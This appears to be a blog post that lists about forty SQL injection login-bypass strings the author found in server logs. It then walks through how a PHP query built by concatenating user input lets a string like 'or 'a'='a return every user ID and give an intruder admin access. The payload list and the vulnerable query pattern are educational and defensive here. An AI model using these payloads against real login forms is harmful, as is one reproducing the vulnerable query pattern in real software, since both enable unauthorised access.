I was looking at some special logs we keep, and found these attempted SQL injection attacks.
admin
'
a'or' 1=1--
'or 1=1--
'or''='
'or'='or'
admin' or 'a'='a
admin'or 1=1#
"or "a"="a
'or 1=1/*
'or'a'='a
'or 1=1\0
"or"="
"or"="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'or' '1'='1
'or''=''or''='
'or'='1'
'or1=1--
a'or' 1=1--
a'or'1=1--
or 'a'='a'
or1=1--
'.).or.('.a.'='.a
'or.'a.'='a
')or('a'='a
1'or'1'='1
aaaa
admin
admin' OR 1=1/*
or 1=1--
"or 1=1--
"or 1=1\0
'xor
1 or '1'='1'=1
1 or '1'='1' or 1=1
' UNION Select 1,1,1 FROM adm
Obviously, it’s a robot.
How it works…
Do I really need to explain this?
There are a bunch of old scripts that were written with SQL code, constructed from user input, that were used to verify user passwords. Like this:
$sql = “select id from users where username='”.$username.”‘ and password='”.$password.”‘”
I didn’t even write that to be hackable. It’s just so wrong on so many levels. Yet, if you go to a thrift store and buy a $5 book about PHP from 2003, you’ll probably see a line of PHP + SQL code just like that. You might find the same for ASP.
Let’s see what happens if we set $username and $password to one of those injection values above. Let $username = $password = “‘or ‘a’=’a”. (Not picked at random.)
What does $sql look like now?
select id from users where username=”or ‘a’=’a’ and password=”or ‘a’=’a’
So, let’s evaluate this step by step:
select id from users where FALSE or TRUE and FALSE or TRUE
In logic, “and” has a higher precedence than “or”, so we first evaluate “TRUE and FALSE”, which is “FALSE”:
select id from users where FALSE or FALSE or TRUE
Bingo. That evaluates to TRUE.
The result is a set of ALL the IDs. The code likely checks for the first item (and it’s assuming only one row in the results). It then retrieves the user’s info, sets a session variable indicating that the user is logged in, and allows the user in.
Additionally, the lower user id numbers are likely to be administrative users. So the intruder gets admin access.